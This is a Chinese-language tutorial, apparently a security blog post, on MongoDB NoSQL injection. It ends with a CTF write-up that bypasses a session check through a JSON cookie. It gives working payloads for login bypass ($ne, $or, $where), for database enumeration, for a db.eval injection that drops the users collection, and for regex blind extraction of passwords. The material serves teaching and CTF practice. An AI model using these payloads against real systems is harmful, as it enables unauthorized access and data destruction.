NoSql注入
NoSql注入
NoSQL 数据库(MongoDB、CouchDB、Cassandra 等)
有两种 NoSQL 注入分类的方式:
第一种是 按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等
第二种是 按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等
下面以 Mongodb 作为例子来看看几个注入
首先先了解 Mongdb 的操作
| 方法名 | 描述 |
|---|---|
| $gt | 大于 |
| $lte | 小于等于 |
| $in | 包含 |
| $nin | 不包含 |
| $lt | 小于 |
| $gte | 大于等于 |
| $ne | 不等于 |
| $eq | 等于 |
| $and | 与 |
|---|---|
| $nor | $nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择对该数组中所有查询表达式都失败的文档 |
| $not | 反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在 |
| $or | 或 |
重言式注入
模糊查询用正则式:db.customer.find({'name': {'$regex':'s'} })
在这些操作符中,$ne 就是我们在重言式注入中需要利用到的那个,它的作用是将不等于指定值的数据都查询出来,比如$ne=1时就是将所有不等于1的数据都查询出来
通过构造好的查询语句我们可以查到一组账户和密码
1 | username=admin&password=123456 |
我们提供的用户名和密码传入后端后会被处理成
1 | array( |
进入 MongoDB 后执行的查询命令为
1 | db.users.find({'username':'admin', 'password':'123456'}) |
这时因为没有任何过滤,所以如果我们构造POC为,就能将数据库中所有的账户密码都查询出来
1 | username[$ne]=1&password[$ne]=1 |
同样,进入后端的参数会变成
1 | array( |
查询命令也会变成
1 | db.users.find({'username':{$ne:1}, 'password':{$ne:1}}) |
然后就会将 username ≠ 1 和 password ≠ 1 的账户密码全部查询出来
联合查询注入
和 SQL 中的 admin' or 1=1 使逻辑判断永远为真类似,NoSql 的联合查询注入也是利用到了拼接代码使得后台判断逻辑为真
这里我们可以利用 $or 来进行拼接操作
假如后端某处的登录代码是这样的
1 | string query ="{ username: '" + $username + "', password: '" + $password + "' }" |
当输入账号密码后,正常的查询语句是这样的
1 | {'username':'admin', 'password':'123456'} |
由于这里没做任何过滤,所以我们可以构造恶意的payload来绕过登录
1 | username=admin', $or: [ {}, {'a': 'a&password=' }] |
这样拼接payload后的查询语句就变成了
1 | { username: 'admin', $or: [ {}, {'a':'a', password: '' }]} |
JavaScript注入
$where 操作符可以在 MongoDB 查询语句中使用,允许你通过 JavaScript 表达式执行高级查询。 $where 操作符的值应该是一个JavaScript函数或字符串
函数或字符串中的 JavaScript 代码将在查询期间执行,并返回 true 或 false,以确定文档是否匹配查询条件
比如说:db.users.find( { $where: function() { return this.username == 'admin'; } } ) 就可以返回 users 集合中 username 等于 admin 的所有文档
MongoDB 2.4 之前 在 MongoDB 2.4 之前,通过 $where 操作符使用 map-reduce、group 命令可以访问到 Mongo Shell 中的全局函数和属性,如 db,也就是说可以通过自定义 JavaScript 函数来获取数据库的所有信息
如下所示,发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:
1
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
MongoDB 2.4 之后 MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据就可以查出所有用户
1
2
3username=1&password=1';return true//
或
username=1&password=1';return true;var a='1
假设后端的 php 代码如下:
1 |
|
那我们输入 username=1&password=1';return true;
那么后端就会处理成:
1 | password = 1; |
使得判断逻辑为真
Command注入
通过 db.eval 方法来执行
1 |
|
此时构造下列 payload:
1 | username=1'});db.users.drop();db.user.find({'username':'1 |
则将改变原本的查询语句造成注入
盲注
和 SQL 中的 盲注一样,都是通过页面的回显来判断是否正确
需要用到的 MongoDB 的操作符来进行盲注 $eq 和 $regex
要使用$regex,请使用以下语法之一:
1 | { <field>: { $regex: /pattern/, $options: '<options>' } } |
在MongoDB中,您还可以使用正则表达式对象(即/pattern/)来指定正则表达式:
1 | { <field>: /pattern/<options> } |
在已知用户名的情况下,我们通过正则匹配来获取密码
1 | http://127.0.0.1/index.php?username[$eq]=time&password[$regex]=.{5} |
.{5} 表示匹配任意 5 个字符,这个正则表达式可以匹配长度为 5 的任意字符串,也就是说,密码必须是 5 个字符长的任意组合
. 匹配任意单个字符,而 {5} 表示重复5次
逐渐增大数字,当数字为 7 时显示登录失败,而数字为 6 时登录成功,就说明密码长度为6
提交的数据进入 PHP 后的数据如下:
1 | array( |
进入 MongoDB 后执行的查询命令为:
1 | db.users.find({'username':'admin', 'password':{$regex:'.{6}'}}) |
AliyunCTF2026 Easy Login
- 服务端使用
cookie-parser解析 Cookie - 会话校验逻辑:
- 从 Cookie 中读取
sid sessionsCollection.findOne({ sid })查找会话
- 从 Cookie 中读取
cookie-parser支持 JSON Cookie:当 Cookie 值以j:开头时,会被JSON.parse解析为对象
当我们构造 sid=j:{"$ne":null} 时:
req.cookies.sid不再是字符串,而是对象{$ne: null}sessionsCollection.findOne({ sid })实际变成了findOne({ sid: { $ne: null } })- 这会匹配任意存在的 session
Exp:
1 | import time |
